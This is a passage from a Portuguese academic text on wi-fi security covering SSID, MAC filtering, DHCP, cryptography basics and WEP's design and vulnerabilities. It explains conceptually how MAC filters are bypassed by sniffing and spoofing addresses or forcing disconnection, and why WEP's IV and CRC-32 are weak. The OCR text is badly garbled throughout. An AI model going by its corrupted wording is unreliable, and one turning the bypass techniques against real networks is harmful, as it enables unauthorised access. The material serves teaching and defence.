autenticador (ponto de acesso) e o dispositivatelipossuem a mesma chave secreta, ambos
conhecem o contetdo recebido (EARLE, 2006). Edten@glmodo ndo é muito difundido,

pois se torna muito parecido com a autenticacdhdee compartilhada.

1.5.1.2Shared Key Authentication

A autenticacado de chave compartilhada foi criada gar a mais segura dos dois
tipos. Neste modo de autenticacdo, ambos (requiisitaautenticador) devem conhecer uma

chave secreta.

A autenticacdo é realizada da seguinte forma: pramente, um dispositivo cliente
requisitante envia sinais de sondagem para varifiegxisténcia de autenticadores (pontos de
acesso, por exemplo) ao alcance deste. Os autbmEsaque recebem estes sinais enviam
pacotes de resposta, contendo informacfes sobomfayuracdo da conexao (incluindo o

valor da for¢a do sinal). Entao o dispositivo regante avalia as respostas e envia um pacote
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de requisicdo de autenticacdo para o autenticagoestiver com o melhor sinal. A partir de

entdo, o autenticador envia um pacote contendo esafid para requisitante (0 pacote de
desafio consiste em um pedaco de texto claro). leed® este pacote, o requisitante deve
entdo criptografar o desafio, utilizando a chawaeta conhecida por tal, e enviar o pacote
resposta para o autenticador. Sendo assim, ot@attor (de conhecimento da chave secreta)
efetua o processo inverso, descriptografa o paeasterifica se o desafio € o0 mesmo, entao
envia a resposta da autenticacdo para o disposiggaisitante, iniciando (ou ndo) a

comunicacao efetiva. Um esquema de autenticac@&balee compartilhada € demonstrado na

Figura 1.5.

O ¢

%‘ =
@ Requisitante efetua a sondagem.

@ Autenticadores respondem a sondagem.

Requisitante verifica as respostas e envia um pacote de
autenticagdo para o melhor ponto de acesso.
O Autenticador envia um pacote com o desafio ndo criptografado.

@9 Requisitante utiliza a chave secreta para criptografar o pacote
contendo o desafio e envia ao autenticador.

44— Autenticador envia um pacote de resposta a autenticagio.

Figura 1.5 -Shared Key Authentication.
Fonte: EARLE (2006, p.185).

1.5.2 SSID Gervice Set | dentifier)

Conhecido também como ESSIEx{entended Service Set Identifier) ou BSSID
(Basic Service Set ldentifier) (dependendo do tipo de rede em questdo), o SSKD é
identificacdo de uma redei-fi, composta por um conjunto de caracteres alfancogri
através deste nome que os dispositive§ identificam a rede. Quando um dispositivo tentar
se conectar a uma rede, este procura um pontoedgscacom o mesmo SSID conhecido em
sua configuracdo, descartando os sinais que posauer8SID diferente. Se este mesmo

dispositivo detectar dois ou mais pontos de acessao 0 mesmo SSID, assume que todos
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fazem parte da mesma rede (mesmo que em canaisntifg), associando-se ao ponto de
acesso que lhe proporciona o sinal mais forte pdifiROSS, 2003). Em casos onde haja
sobreposicdo de sinais de redes diferentes com sIme&SID, o dispositivo continua

considerando que seja a mesma rede. Por isscoaténpia de se utilizar SSIDs diferentes, e,

se possivel, o mais desconhecidos possivel (néautiomes como “casa’pffice’, etc).

Em geral, um ponto de acesso envia sinais SSIDreatlcast através dos chamados
Beacon Frames, sinais que informam a existéncia do ponto desacdsstes sao detectados
pelos dispositivos na regido de abrangéncia, fazeath que enviem um pedido de conexao.
Em um ambiente onde mais de uma WLAN estd operaeske, processo associa cada
dispositivo cliente com a rede correta. Quando DS®8io esta presente, ou seja, quando 0
ponto de acesso nado fdwoadcast do SSID, os dispositivos clientes tém de conhecer
previamente os SSIDs dos pontos de acesso dispmomi@eambiente, para, entdo, requer a
conexao. Sendo assim, atua como a primeira lintgefissa contra o acesso nao autorizado a
uma redewi-fi, pois ndo se conhecendo o SSID dessa rede, ndant@éefetuar tal conexao.
A configuracédo ddroadcast do SSID é configuravel nos pontos de acesso (depelo das

funcionalidades de tais).

Um dos problemas é que o SSID nao é criptografad@smo que o ponto de acesso
ndo facabroadcast do SSID, essa informagdo pode ser lida atravésoftiares sniffers.
Mesmo que o SSID esteja mascarado, toda vez queispusitivo cliente tentar conectar a
uma rede, este envia todas as configuracoes daamneaclusive o SSID, espalhados pelo ar
como parte do processo de sondagem (EARLE, 200Qu&lro 1.3 demonstra o resultado
da captacédo de sinais, utilizando software sniffer, e mostra claramente a obtencdo do SSID

utilizando esta ferramenta.

Quadro 1.3 - ESSIBniffer Capture

802.11 Beacon FC=........ ,SN=448,FN= 0,BI=100,S55=11
802.11 Probe Req FC=........ ,SN= 689,FN= 0,SSID=AEE

802.11 Probe Req FC=........ ,SN= 690,FN= 0,SSID=AEE

802.11 Beacon FC=........ ,SN=449,FN= 0,BI=100,S55=11
802.11 Probe Req FC=........ ,SN= 691,FN= 0,SSID=AEE

802.11 Probe Req FC=........ ,SN= 692,FN= 0,SSID=AEE

802.11 Probe Req FC=........ ,SN= 693,FN= 0,SSID=AEE

802.11 Probe Rsp FC=........ ,SN=451,FN= 0,BI=18(DSAEE,DS=11
802.11 Probe Rsp FC=........ ,SN=451,FN= 0,BI=18(DSAEE,DS=11
802.11 Probe Req FC=........ ,SN= 694,FN= 0,SSID=AEE

802.11 Probe Rsp FC=........ ,SN=452,FN= 0,BI=18(DSAEE,DS=11
802.11 Probe Req FC=........ ,SN= 695,FN= 0,SSID=AEE

802.11 Probe Rsp FC=........ ,SN=453,FN= 0,BI=18(DSAEE,DS=11

Fonte: EARLE (2006, p.187).
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E primordial, em uma rede em que se deseje o miaimeeguranca, que o ponto de
acesso seja configurado para que ndo redizmdcast do SSID (porém isso pode
comprometer a facilidade de uso e retardar a oéterda conexdo em determinados
ambientes). Em conjunto, o SSID deve ser alteradéo,utilizando os padrdes configurados

pelos fabricantes, pois sdo dados muito conhegidopossiveis atacantes da rede.

1.5.3 Enderegamento MAC

O enderecamento MAC € o numero identificador depaditivos de rede. Este
endereco é fisico, gravado no préprio dispositiysugostamente) tinico em todo o mundo. E
atribuido pelo fabricante do dispositivo, contralagelo IEEE e representado por doze
algarismos hexadecimais. Como citado anteriormemtenderecamento MAC deveria ser
anico, porém existem técnicas e ferramentas queagfea alteracdo deste endereco, ou seja,
pode-se alterar o enderecamento MAC de um disposiéipropriando-se ou simplesmente
fazendo uso de outro que nado o original. Algun®iias operacionais permitem, iefault,

a alteracao deste em adaptadores de rede sem fio.

Tratando-se de seguranca em redie$i, uma forma encontrada para restringir o
acesso a uma determinada rede é o cadastramerio go& dispositivos participantes nos
pontos de acesso, conhecido coAumess Control List, uma lista de controle de acessos
baseada no enderecamento MAC dos dispositivos qtteipam de tal rede. Como este
endereco identifica de forma Unica cada dispositile rede, apenas os dispositivos
previamente cadastrados terdo acesso permitide B&Eanismo exige sempre alguma
manutencao, que pode ser maior ou menor, de acord® fluxo de dispositivos que entra e
sai do cadastro, porém é uma boa solucdo para mesjuedes e ambientes com poucas
mudancas (AGUIAR, 2005). Esta mesma técnica pode também utilizada pelos
dispositivos clientes para conectar com seus paomgoacesso corretos. Alguns programas
para acesso permitem identificar o endereco MA@alto de acesso, ou seja, o dispositivo
pode assim aumentar o grau de certeza que esté&taode-se com o ponto de acesso

desejado, e ndo a um clone (ou até mesmo em awito gde acesso com maior poténcia).

As medidas de seguranca que utilizam a lista déralende acesso partem da
suposicao de que os enderecos MAC sao unicos, podeassim distinguir inequivocadamente
um dispositivo registrado. Porém esta solucdo geddéacilmente burlada por um dispositivo
clandestino que identifique o trafego (que incluerderecamento MAC de um dispositivo
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cliente) e altere o préprio endereco MAC, fazenelgeassar por um dispositivo cliente
legitimo.

Além do método de forca bruta, que consiste, neste, em alterar sucessivamente
o endereco MAC, buscando encontrar um que sejaizado no controle de acesso, a
obtencdo de enderecos MAC legitimos é realizadanmo de escuta do trafego da rede.
Neste caso € necessario haver comunicagdo durapEriodo de escuta e o endereco
capturado somente podera ser utilizado quandoposlis/o legitimo ndo estiver associado ao
ponto de acesso, sendo este desconectado por @gmtapia ou sofrendo um ataque de
negacéao de servico (DoPenial of Service) que force a desconexdo. Outra possibilidade de
negacao de servico pode ocorrer caso o disposit@alestino configure a propria interface e
os enderecos MAC validos previamente capturad@sgaede alvo, ao mesmo tempo em que

os dispositivos clientes legitimos tentem acessada (RUFINO, 2005).

Esse controle pode servir como um acréscimo deraegm da rede, porém cria um
limite no que diz respeito a facilidade de uso edeswi-fi (uma vez que cada dispositivo
cliente deva constar na lista de controle de age€mmo mencionado anteriormente, deve

sempre haver um equilibrio entre a seguranca egen@&Encia.

1.5.4 DHCP pPinamic Host Configuration Protocol)

O endereco IP, utilizado no protocolo IRtérnet Protocol), de forma genérica, pode
ser considerado como um conjunto de numeros quesaa o local de um determinado
dispositivo em uma rede. A funcdo de um servidorCPHé fornecer enderecos IP
dinamicamente para 0s novussts que se conectam a uma rede. Isso traz facilidadeso de
uma rede, uma vez que ndo ha a necessidade dgwanfinanualmente os enderecos nos
dispositivos clientes. Para que uma comunicac&oreajizada com sucesso, € necessario que

o dispositivo possua um endereco IP valido, dedacoom a rede a qual esta se conectando.

A maioria dos pontos de acesso tem, gefault, um servidor DHCP integrado,
liberando assim os enderecos IPs para os dispmsitilientes da rede. Contudo, ha um
problema relacionado a seguranga no uso destddigervico, uma vez que se um dispositivo
clandestino tentar efetuar a conexado na rede, eeabm endereco IP valido para tal. Por
isso, 0 uso de servidores DHCP em WLANs deve sigadsv quando possivel, utilizando
apenas enderecos estaticos. Desativando estecsarmicpossivel atacante necessita realizar
um trabalho mais arduo para conseguir um ender@@ov
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1.5.5 Criptografia

Criptografia € normalmente entendida como sendstode dos principios e das
técnicas pelas quais uma informacao pode ser tnanatla da sua forma original para outra
ilegivel, a menos que seja conhecida uma chavetaea que torna dificil a leitura por
alguém ndo autorizado. Sendo assim, apenas 0 oceakpinensagem pode ler a informacéo
com facilidade (desde que conhecida a correta cBaeeeta). A criptografia moderna é
basicamente formada pelo estudo dos algoritmotogrfificos que podem ser implementados
em computadores. Uma informacdo néo-cifragem, qemvéada de um dispositivo para
outro, é chamada de texto clapba{ntext). Cifragem é o processo de conversao de um texto
claro para um codigo cifrado, o qual se chama texfiado, e decifragem 0 processo

contrario.

A criptografia computacional sofreu grande evolygaclusive no que diz respeito a
sua aplicagao. Inicialmente ela era usada apenasgaaantir o sigilo nas comunicacoes.
Segundo Rufino (2005) e Earle (2006), tem-se quaijetivos basicos no uso da criptografia:

» Confidencialidade (sigilo): apenas o destinatattoazado deve ser capaz de
extrair o conteudo da mensagem da sua forma ciffdden disso, a obtencédo de
informacé&o sobre o conteudo da mensagem néo depessivel, uma vez que, se
o for, torna mais facil a analise criptografica.

* Integridade: fidelidade da mensagem ao teor odigisam sofrer qualquer
alteracdo, ou seja, o destinatario devera ser cd@aleterminar se a mensagem
foi alterada durante a transmisséo.

» Autenticacdo do remetente: o destinatario deveracapaz de identificar o
remetente e verificar que foi mesmo ele quem enaimensagem.

* Nao-repudio: é a garantia de que uma transacadsddpcefetuada nao pode ser

negada, ou seja, ndo devera ser possivel ao remetgar o envio da mensagem.

Nem todos os sistemas ou algoritmos criptografiatassgem todos os objetivos.
Mesmo em sistemas criptograficos bem concebidosn leplementados e usados
adequadamente, alguns dos objetivos citados na@radicos (ou mesmo desejaveis) em
determinadas circunstancias. Por exemplo, o reneetdea uma mensagem pode querer
permanecer anbnimo, ou O sistema pode destinar-samaambiente com recursos
computacionais limitados. E primordial lembrar cueriptografia protege os dados, mas

acrescenta um pequeno peso a funcionalidade da rede
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A cifragem de uma informacdo € realizada baseadadeisy componentes: um
algoritmo criptografico e uma chave secreta. O ridlgo € responsavel por transformar
matematicamente um texto claro em um texto cifr@moo inverso), utilizando para tal a
chave secreta conhecida (RUFINO, 2005). Cada chatata faz com que o algoritmo
trabalhe de forma ligeiramente diferente. Emboiatam algoritmos que dispensem o uso de
chaves, sua utilizagdo oferece duas importantetagans: a primeira € permitir a utilizacao
do mesmo algoritmo criptografico para a comunicac@m diferentes receptores, apenas
trocando a chave, e a segunda € permitir a trochasa em caso de uma violagcdo, mantendo
o mesmo algoritmo. O numero de chaves possiveisndepdo tamanho (nimero de bits) da
chave envolvida no processo. Os sistemas cripiogeafsdo possiveis em duas formas:

Criptografia Simétrica e Criptografia Assimétrica.

1.5.5.1 Criptografia Simétrica

Conhecida também como criptografia convencionalmésistema criptografico de
chave unica, onde uma mesma chave criptogréficdiligada para cifrar e decifrar as
informacdes. Esta chave € utilizada por amboslaugiores (remetente e destinatario) e na
premissa de que esta é conhecida apenas por alesiefente cifra o texto claro com a chave
e o destinatario decifra tal mensagem com a mebaaeqAGUIAR, 2005). Na Figura 1.6, é
apresentado um esquema de funcionamento de cafitpgimétrica. Este sistema é tanto ou
mais seguro quanto for a propria chave e o meiogam ela foi conhecida por ambos
interlocutores (sempre considerando o local de z@mamento de tal). Geralmente, este
método é utilizado em sistemas que necessitamIdeidade. Tendo como base o tempo de
processamento, a criptografia simétrica é basteafinteente, pois seu funcionamento requer
um processamento reduzido. No entanto, a cripti@gsiinétrica ndo € aconselhada para a
troca de informagodes confidenciais e sigilosasy c&® haja um meio de transmisséo seguro,
mas é muito eficiente para conexdes seguras nenéfteonde processos computacionais
trocam senhas temporarias para algumas transmisd@ieas. A criptografia convencional,
por si s6, € usada como meio de transmitir dados seguranca, porém pode se tornar
extremamente cara, simplesmente pela dificuldadee aistribuir as chaves com segurancga, e
por ndo fornecer autenticidade. Os algoritmos usawdo criptografia simétrica incluem os

seguintes:

« RC2,RC4
» 3DES {Triple Data Encryption Sandard)
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* AES (Advanced Encryption Standard)

OROEPRD

Chave simétrica

Chave simetnc
Texto clan Texto cifrade Texto clam

Figura 1.6 - Criptografia Simétrica.
Fonte: http://www.microsoft.com.

1.5.5.2 Criptografia Assimétrica

Conhecida também como criptografia de chave pubéiaam sistema criptografico
que utiliza duas chaves diferentes, porém mateaménte relacionadas, para cifrar e decifrar
os dados, sendo uma chave usada apenas para rafigtogs informacfes que serdo
transmitidas ao destino. Essa chave é denominaaae ghiblica, pois € divulgada a todos.
Além da chave publica, had também a chave privaolahecida apenas pelo destinatario da
informacéo e que deve ser mantida em segredo.régeiin € realizada utilizando a chave
publica e a decifragem com a chave privada (CARVALF2005). Como a criptografia
assimétrica usa algoritmos mais complexos do queimografia simétrica e, como a
criptografia assimétrica usa um par de chavespoegso de criptografia € muito mais lento.
Este método possui um desempenho computacionabdeomgelmente inferior a criptografia
convencional, porém tem como a principal vantageiio necessitar de um meio de
transmissédo confiavel.

Com a criptografia assimétrica, somente um intetlmcmantém a chave privada.
Todos os outros interlocutores podem acessar seghahlica. As informacgdes cifradas por
meio da chave publica s6 podem ser decifradas @edae privada. Por outro lado, as
informacdes cifradas por meio da chave privadacstem ser decifradas pela chave publica.
Por conseguinte, esse tipo de criptografia forrmodidencialidade e autenticidade (e néo
repudio). Para confidencialidade, a chave publieasada para cifrar mensagens, com isso
apenas o proprietario da chave privada pode ddeiff@ara autenticidade (e/ou repudio), a
chave privada é usada para cifrar mensagens, songaante-se que apenas o proprietario da
chave privada poderia ter cifrado a mensagem qudeftifrada com a chave publica. Os
algoritmos de criptografia usados na criptograsisimétrica incluem os seguintes:
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» Diffie-Hellman key agreement
* Rivest-Shamir-Adleman (RSA)
» DSA (Digital Sgnature Algorithm)

Na Figura 1.7, é demonstrado um esquema de crgftagissimeétrica.

Chave pablico Chove privada
. \ do receplor . do receptor .
Texto clara Texto cifrado Texto claro

Figura 1.7 - Criptografia Assimétrica.

Fonte: http://www.microsoft.com.

1.5.6 Mecanismos de seguranca

Para se obter um nivel de seguranca satisfatome@so implementar controles
externos aos dispositivos. Configuracdo adequadgtografia, autenticacdo forte e
monitoracdo dos acessos da rede sem fio sdo impiasds. A seguranca de redesfi
abrange muito mais fatores do que se possa imagio@ré necessario ter um conhecimento
razoavel de todos os padrdes disponiveis e o @set&n a oferecer e, de acordo com sua
aplicacao, objetivo e politica de seguranca, implaar o nivel correto. Ser o ultimo padréo
desenvolvido e disponivel ndo garante que a segarsera eficiente e que ele serd o mais
seguro (CARVALHO, 2005). E necessario avaliar tedoonjunto e decidir com base nos
equipamentos que ira utilizar e na propria expeiégnobjetivando a melhor relagéo
custo/beneficio. O uso estratégico de tecnologaseduranca deve ser muito bem planejado,

visando evitar pontos de vulnerabilidade na segarda rede.

Alguns mecanismos de seguranca em redds foram citados anteriormente. Estes
mecanismos devem, sempre que possivel, ser impladosnem um nivel correto, operando
conjuntamente a outros mecanismos. Porém este adw@ o cenario ideal para uma rede
segura. Somente dispositivos autorizados deveracesso a rede e isto € obtido através de
métodos eficientes de criptografia. Mecanismos dmumnca e criptografia séo
implementados em red@s-fi, aumentando assim a confiabilidade e funcionaéd#al rede,
bloqueando (ou simplesmente tentando) possiveigiesa Os protocolos adotados em redes
wi-fi sdo o WEP e o WPA (posteriormente o WPA2). Nostalms subseqlentes seréo

abordados estes padrodes.



2 PROTOCOLOS DE SEGURANCA E CRIPTOGRAFIA

2.1 WEP

Abreviatura paraWired Equivalent Privacy, o padrdo WEP é definido como
mecanismo criptografico de confidencialidade, zditio para prover um nivel de seguranca
equivalente a das redes cabeadas. E importantdtaesgue esta no¢do de equivaléncia faz
supor que, como nao existe protecdo ao conteludedss cabeadas (a protecao deve ser feita
por software ou firmware), se pensou em um mecanismo que tivesse dificeldadquebra

compativel a um acesso fisico (RUFINO, 2005).

2.1.1 Caracteristicas

E um protocolo que oferece criptografia e autegfio. Utiliza algoritmos
simeétricos, portanto deve haver uma chave cripfmgrénvolvida no processo, conhecida por
ambos os interlocutores, para cifrar e decifranfemacdes trafegadas. Entretanto, no WEP,
a mesma chave utilizada para cifrar e decifranfmmacdes é utilizada para autenticar um
dispositivo, o que € considerado um risco de segardSOARES, 2004). Inserido no
protocolo IEEE 802.11, foi criado por um grupo dduwmtarios, membros do IEEE, sendo
ratificado em 1999. O protocolo WEP é utilizado gpariptografar informacdes de um
dispositivo cliente até um ponto de acesso, oy, sgjanesmas informacdes sdo trafegadas
descriptografadas por uma rede cabeada (EARLE,)2086 sendo mais protegidas por tal
protocolo.

Atuando na camada de enlace do modelo OSI, o miotd®EP propde-se a atingir

trés objetivos basicos de seguranca:
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Confidencialidade: O objetivo fundamental do WER @revencédo de escutas
clandestinas, ou seja, prover um nivel de seguradeguado para que, em uma
possivel captacdo de pacotes em redes sem fiopos®a ser lido o contetdo
destes por dispositivos nédo autorizados. Apenasomwhecedor da chave
criptografica podera ter acesso aos dados.

Autenticidade: permitir um nivel de segurancga addqpara prover acesso a rede
apenas aos dispositivos autorizados.

Integridade: prover um nivel de seguranca adeqpad® prevenir a falsificacao
das comunicacdes sem fio, garantindo fidelidadendasagem ao teor original,

sem sofrer qualquer alteragao.

Segundo Rufino (2005, p.36), os critérios que folewvados em consideracao para o

desenho deste protocolo séo:

Suficientemente forte:algoritmo deve ser adequado as necessidades @oausu
Auto-sincronismo: deve permitir a um equipamento entrar na areadertura e
funcionar com a minima ou nenhuma intervengédo manua

Requerer poucos recursos computacionaispode ser implementado por
software ou em hardware e por equipamentos com pouco poder de
processamento.

Exportavel: deve poder ser exportado dos Estados Unidos leetanpassivel de
importacdo para outros paises (no momento da elghhordo padrdo, havia
restricbes para exportacao de criptografia; hogasesestricbes estao limitadas a
alguns paises).

De uso opcionalo mesmo.

O protocolo WEP é baseado no algoritmo criptogoafia RSASecurity®, o RC4,

projetado por Ron Rivest em 1987. O RC4 é um dlgoride fluxo, que criptografa as

informacfes a medida que sao transmitidas, aunamtassim o seu desempenho. A l6gica

do algoritmo se manteve secreta até vazar e sécaud na internet em 2001.

Uma das funcdes originais do WEP foi ter a encggutancapaz de ser afetada pela

perda de pacotes devido a uma interferéncia. igtofisa que quando um dispositivo envia

dados através do ar e perde o pacote, ndo ha parda pacote anterior. Com métodos de

seguranca mais novos e métodos de seguranca gecadzBEadas mais antigos, € comum para

* The Security Division of EMC, disponivel em http://www.rsa.com.



41

0S pacotes seguintes terem uma dependéncia detagdo do pacote seguinte ou anterior
(EARLE, 20086).

A seguranca do WEP é composta por dois elementag:chave estatica, que deve
ser a mesma em todos os dispositivos da rede eounponente dindmico que, juntos,
formam a chave usada para cifrar o trafego (chawytografica). O protocolo ndo define
(nem sugere) de que forma a distribuicdo da chatétiea deve ser realizada, portanto a
solucdo convencional (e mais trabalhosa) € o camlashto manual desta em todos os
dispositivos. Esta chave estatica pode ter o tamdeh40 bits ou 104 bits. Utiliza um vetor
de inicializag&o, ou IVl(itialization Vector), de 24 bits como componente dindmico, que é
concatenado a chave estatica. Ha dois niveis de tidp@niveis: o primeiro € baseado em
uma chave de 40 bits e o IV de 24 bits, gerandmnassia chave de 64 bits; o segundo &
baseado em uma chave de 104 bits e o IV de 24gatando assim uma chave de 128 bits
(RUFINO, 2005). Quanto maior for o tamanho da chawaior sera o nivel de seguranca,

porém menor sera o desempenho oferecido por tal.

O IV foi incorporado ao WEP para tentar resolveeguinte problema: quando uma
mensagem € cifrada com uma chave fixa, todas asswgze uma mensagem idéntica for
cifrada, terd o mesmo resultado. Com base niss@assivel atacante da rede poderia montar
um alfabeto de equivaléncias entrbyte original e o cifrado e, desta maneira, decifrdoto
trafego. O IV permite a variacdo da chave est&ina24 bits, tornando diferente o resultado
de mensagens idénticas. Para cada pacote trarsnoitidlV diferente é utilizado, sendo este
alterado para o proximo pacote. Nao ha na definiggpadréo requerimentos definindo como
incrementar ou randomizar a sequéncia do IV, sesste definido pelo fabricante do
equipamento. Vale ressaltar que, para que haja aorrata comunicacao cifrada, ambos

interlocutores devem conhecer a chave ou, neste cd¥.

O WEP trata da integridade das informacdes trafegadtilizando o polinémio
CRC-32 Cyclic Redundance Check), o qual realiza um célculo sob os dados a sersfia@dos
e adiciona um ICV lftegrity Check Value), conhecido também conahecksum, para cada
carga util, ou seja, é enviado juntamente aos dgdesforam base deste (EARLE, 2006).
Dessa forma, o receptor recalculahecksum para garantir que a mensagem nao foi alterada
durante a comunicagdo. O CRC-32 é popular porisgies de implementar ehardware de
baixo desempenho, simples de ser analisado matarmatinte e pela eficiéncia em detectar

erros tipicos causados por ruidos em canais dentiaséo. Possui um tamanho de 32 bits.
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2.1.2 Funcionamento

Como visto anteriormente, a autenticacdo pode assiumas formasopen key e
shared key. Atualmente o padrdo WEP é capaz de oferecerawganticacaapen key, a
criptografia dos dados trafegados, onde ndo ocartenticacdo dos dispositivos. Porém o
WEP fornece autenticacéshared key, onde a mesma chave é utilizada para cifrar as
informacgdes, garantindo assim a autenticidade mp®sitivos clientes, mas ndo garantindo a
autenticidade do ponto de acesso. Utiliza a téaiéaznallenge-response (desafio-resposta).
O dispositivo cliente solicita autenticacdo ao pode acesso, 0 qual gera um numero
aleatorio ¢hallenge) e envia para o dispositivo cliente que, ao recetidizando a chave
conhecida, criptografa challenge com o algoritmo RC4. Feito isso, enviachallenge
criptografado ao ponto de acessesfonse). Este entdo descriptografa a resposta com a chave
correta e compara o numero enviado. Caso essa cagapaseja positiva, 0 ponto de acesso
envia para o dispositivo cliente uma mensagem,irtoahdo 0 sucesso da autenticagdo. Na

Figura 2.1, é mostrado o esquema de autenticatifmando WEP com chave compartilhada.

Dispositivo cliente Ponto de acesso
——

®-__ Pedido de autenticagdo
o g Challenge ¢ gerado
aleatoriamente e
__——®| enviado ao dispositivo
Challen ge .- cliente.
Challenge é criptografado |4 il
com a chave conhecida e |g_
enviado ao ponto de acesso. T Response

| Challen ge ¢ descriptografado
@] com a chave e verificado.
Confirmagdo

Figura 2.1 - Autenticacashared key utilizando WEP.

O protocolo WEP utiliza o algoritmo criptogréafice dluxo RC4. Utiliza também

uma chave estatica (usualmente conhecida como chék®), que € definida pelo
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administrador da rede (ou responsavel técnico)rpoeste valor ndo é usado sozinho na
criacdo do fluxo de dados criptografados WEP. Ugwita para randomizar a chave é
aplicada, usando o vetor de inicializacdo (V) debis criado a cada fram&gdme-by-frame)

(EARLE, 2006). A partir de entdo, com a chave WEPI¥ concatenados, tem-se uma chave
de 64 bits ou 128 bits. Este resultado serve dadmtpara o algoritmo gerador de niameros
pseudo-aleatdrios definido pelo RC4. O PRN&e(ldo Random Number Generator) gera

uma sequéncia de bits de mesmo tamanho que o asetecifrado. Este pacote € composto
pela informacédo (dados) a ser transmitida e o tadwulda aplicagdo do CRC-32 a essa
informacédo. O CRC-32 é aplicado a informacao, ademdo o ICV no pacote, para que na
recepcéo possa ser verificada a integridade dasd&dICV deve ser recuperado exatamente
igual pelo receptor da mensagem , caso contramoer@ssagem recebida sera imediatamente

considerada errada e descartada.

Tem-se entdo a chave criptografiéayétream) e o pacote completo a ser cifrado.
Dessa forma, € aplicada uma operacdo XOR (opef&@jddexclusivo”) a estes. O resultado
dessa operacao de XOR constituira no pacote cifiaghy transmitido. Como ja mencionado,
vale ressaltar que para que haja uma correta coagéo cifrada ambos interlocutores devem
conhecer a chave utilizada para tal (WI-FI, 200Neste caso, a chave estatica é
(supostamente) conhecida por ambos, mas ela vami@rone o IV. E para que o receptor
conheca o IV que foi utilizado em tal processoe @sinserido no cabecalho do pacote a ser
enviado, em texto claro. A partir de entédo, o paesta pronto para ser enviado através do ar
(EARLE, 2006). Na Figura 2.2 mostra-se o desmeménamdos pacotes que sdo utilizados

neste processo.

Dados ICV
XOR
Cabecalho Chave estatica e IV Keystream
v v
Cabecalho IV Criptografado

Figura 2.2 - Detalhamento do processo WEP.
Fonte: EARLE (2006, p.190).
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No recebimento, o receptor faz o processo inveasa gescriptografar o pacote e ter
acesso a informagéo que fora transmitida. De pdssdave estatica, e conhecendo o IV que
fora recebido em texto claro, no receptor € gerem@mente a seqiéncia de bits aleatérios de
mesmo tamanho do pacote e, utilizando a forma savdo algoritmo RC4, é realizado uma
operacdo XOR com esta seqiiéncia e o pacote cifratisformando assim o texto cifrado em
texto claro. Sendo assim, o CRC-32 é aplicado adssle comparado com o valor do ICV
que fora recebido, para garantir que estes namfocairompidos e/ou alterados. A Figura 2.3

demonstra o esquema de funcionamento da comunicapéagrafica utilizando WEP.

Interface wireless

DISPOSITIVO A i DISPOSITIVO B
v :
(Vetor de inicializa¢do) E
H
IV (24bits)
i
Carga util (payload) v ] v
A - o H . ~
»/ Concatenagdo : Concatenagio <
| entre chave e IV ! entre chave e IV
ICV ~ : vy
(aplicado CRC-32) Chave v H ¥ : Chave
AP 1S — Algoritmo H Algoritmo
RC4 i RC4 |
H ) Calcula checksum
A i A ¢ compara com ICV/
Keystream i Keystream &
§
v v i v
ICV Dados = > ICV Dados
: Entrada do H Saida do
texto claro XOR H XOR textoclaro

Figura 2.3 - Esquema de cifragem,'transmisséo igagem utilizando WEP.

2.1.3 Vulnerabilidades

Apesar de o WEP ser utilizado para tornar a conagéic em uma redei-fi mais
segura, muitas falhas sdo apontadas no uso degtes@ autores e cientistas académicos em
computacdo publicaram relatérios sobre o protod@eP, questionando sua eficiéncia em
proteger as informacdes. Todos indicam graves daftzateoria e pratica criptografica que
foram usadas para definir este padrdo. O WEP pgssotestes e subseqientemente falhou
nos trés objetivos basicos propostos no desenhpadido. Isso pode ser observado em cada
uma das &reas de confidencialidade, autenticidategridade.

“Existem problemas administrativos e técnicos elacéd ao protocolo WEP. Em
relacdo ao padréo original, os principais relaciose ao fato de usar uma chave
Unica e estatica, que deve ser compartilhada tdos os dispositivos participantes
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de uma determinada rede. Portanto, caso seja Aeieeadroca da chave, o processo
pode ser trabalhoso e, em alguns casos, inviawtto@roblema vincula-se ao fato

de que, na época em que o padréo foi definido (1%@Kia restricdo dos Estados
Unidos referentes a exportacao de criptografia chaves maiores que 40 bits. E
finalmente, foram revelados outros problemas téspigue permitem ataques ao
préprio algoritmo.” (RUFINO, 2005, p.65).

Para que haja uma correta comunicacdo cifrada, aess@&io que ambos
interlocutores conhecam a chave utilizada em tatgsso. Um dos problemas encontrados
neste protocolo é exatamente a dificuldade deilistras chaves, ja que o padrdo nao
determina (nem sugere) como isto deve ser feitordelas pequenas e pouco moveis, tal fato
nao chega a ser um problema, mas, mesmo assim, ege administracdo. Por outro lado,
em redes maiores e /ou com grande mobilidade,pede ser impossivel de ser feito. Uma
chave é exponencialmente menos secreta tanto gioaato os dispositivos (ou até pessoas)
gue a conhecerem, visto que equipamentos podemesgidos, atacados e compartilhados.
Outro problema relacionado as chaves utilizadaespdispositivos clientes € a forma de
armazenamento destas no cliente. Como o protocatn define nenhum meétodo para
cifragem na guarda da chave, esta € armazenadarda fegivel, o que torna um ambiente
vulneravel, caso um cliente, que componha a regie comprometido (EARLE, 2006).

Com relacéo a integridade, o WEP mais uma vez .fatloa o0 CRC-32 ser uma
funcado linear e ndo possuir chave (é independemt&/de da chave WEP), este método
possibilita que modificacbes sejam feitas no paset® que sejam detectadas (RUFINO,
2005).

A utilizag&o do algoritmo RC4 também reporta umbpgma: ao utilizar uma técnica
de equivaléncia numérica, o RC4 recebehyte que realiza um processamento e gera como
saida também uiboyte, diferente do original. Porém essa funcao perméatificar o tamanho
da mensagem original, ja que a informacdo geradaotenesmo tamanho que esta. Isso cria,
para um possivel atacante, facilidades na ideatiioc de pacotes especificos.

Um dos grandes problemas do WEP faz referénciaetar de inicializacdo. O IV
pode variar em 24 bits a chave estatica, tornanteredte o resultado de mensagens
idénticas. Porém o tamanho deste vetor é muitoziéduassumindo apenas 16.777.216
valores diferentes (RUFINO, 2005). Relembrandoapmare uma comunicacgéo cifrada seja
realizada com sucesso, ambos devem conhecer a olibxada, que neste caso é o 1V,
utilizado para variar a chave estatica. Este vetenviado em texto puro a cada pacote, sem
passar por qualquer tipo de criptografia. Partiddsse pressuposto, nota-se que conhecer o

7

IV sem conhecer a chave estatica é inutil, porémmoc@ste vetor possui um tamanho
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pequeno, este pode se repetir varias vezes emategdrintenso. A variacdo do IV é definida
pelo fabricante, mas normalmente o IV inicia comator zero (0) e é incrementado em um
(1) a cada pacote. Isso denota dois problemasmeipo é que, em um determinado momento
da comunicacéo, o IV assumira novamente o mesnao, \eab segundo reside no fato de que,
a cada reinicializacdo do dispositivo cliente (uremsercédo do adaptador de rede, por
exemplo), o IV é reinicializado, recebendo novamemtvalor zero, tornando comuns 0s

pacotes com IV de baixo valor.

“Como uma rede com trafego intenso transmite emotate 600 a 700 pacotes,
